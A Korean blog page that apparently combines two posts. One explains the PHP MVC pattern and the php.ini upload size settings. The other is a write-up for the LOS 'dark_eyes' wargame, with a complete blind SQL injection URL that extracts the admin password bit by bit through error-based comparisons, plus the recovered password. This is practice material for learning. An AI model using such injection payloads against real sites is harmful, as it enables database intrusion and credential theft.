MVC 패턴이란


Model

View

Controller

3가지 단어의 앞글자를 따서 만든 디자인 패턴이다


Controller는 페이지가 열렸을떄 알맞은 Model을 불러오게 하고

Model은 주로 DB와 연결되어 정보를 가져오고

View는 Model에서 가져온 정보를 사용자들에게 보여준다



일반적으로 PHP를 처음 공부해서 개발하다 보면 

한개의 php파일 안에서 SQL을 보내고 그 값을 받고 그 페이지에서 보여주게 된다.

하지만 이렇게 개발할 경우 후에 유지보수나 코드 재사용성이 크게 저하된다.

보기 엄청 힘들다



Model, View, Controller를 분리할 경우 

코드가 유연해지고 수정하기 쉬워진다

예전 스타일의 PHP코드는 페이지 하나에 HTML, PHP, JavaScript가 짬뽕되 있기 때문에 가독성이 

엄청나게 떨어질 뿐더러 코드 분석하기가 힘들어진다


떄문에 class를 사용하여(보통 PHP를 처음 공부하면 class 안한다.) 

MVC 패턴으로 개발을 하는것이다. 

이 MVC 패턴은 디자인 패턴중 하나로서 다양한 디자인 패턴들이 있다


작은 크기의 파일을 업로드할때는 상관이 없지만 

파일크기가 클 경우에는 파일이 업로드 되지 않는다

이럴떄는 보통 멘붕을 겪게 되는데 

php.ini에서 설정을 해주어야 한다.



파일 업로드는 POST 방식으로 전송이 되는데 

보통 파일업로드가 되지 않을때는 크게 3가지 설정을 확인해봐야 한다.


upload_max_filesize

memory_limit

post_max_size

이 3가지를 확인 해야한다.


post_max_size는 말 그대로 post 방식으로 보내거나 받는 값의 최대 크기를 설정하는 것이다.


upload_max_filesize는 업로드 할 수 있는 최대 파일크기를 제한하는 것이다.

이미지 파일 올리는대 굳이 2G씩 잡을 필요는 없다.


만약 메모리제한 설정을 활성화 시켰다면 

memery_limit이 post_max_size보다 커야 한다.


즉 

memory_limit > post_max_size > upload_max_filesize 순으로 크기가 제한되어야 한다.














'Web Development > PHP' 카테고리의 다른 글

PHP mcrypt 함수 마이그레이션  (0) 2018.12.20
Laravel에서 PHP CLI 실행  (0) 2018.12.20
MVC 패턴  (0) 2016.02.08

http://los.sandbox.cash/chall/dark_eyes_54dda5c7a8bff987a29bd6fc9b2aa729.php?pw=%27or%20id=%27admin%27%20and%20substr(lpad(bin(ord(substr(pw,1,1))),8,%270%27),1,1)%20in%20(0,(select%201%20union%20select%202))%23


if와 case가 막혀있으므로 in 을 사용한다. 이것도 처음에 풀땐 함수찾는라 꽤 헤맸다.

왠 러시아 형님 블로그에 들어갔다.


쿼리를 해석해 보면 id가 admin이면서 pw의 값을 이진값으로 가져와서 그 값이 0인지 1인지 in 함수 안에서 비교한후 

0 in (0,(select 1 union select 2))%23이렇게 되면 select 1 union select 2를 실행을 안하지만

1 in (0,(select union select 2))%23이렇게 되면 select 1 union select 2를 실행해서 에러가 난다. 이걸로 비교를 하는것이다. 


5b2a5e3d

'War Game > LOS' 카테고리의 다른 글

LOS ORGE  (0) 2019.06.10
LOS Cobolt  (0) 2019.06.10
LOS SUCCUBUS  (0) 2015.10.23
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23

+ Recent posts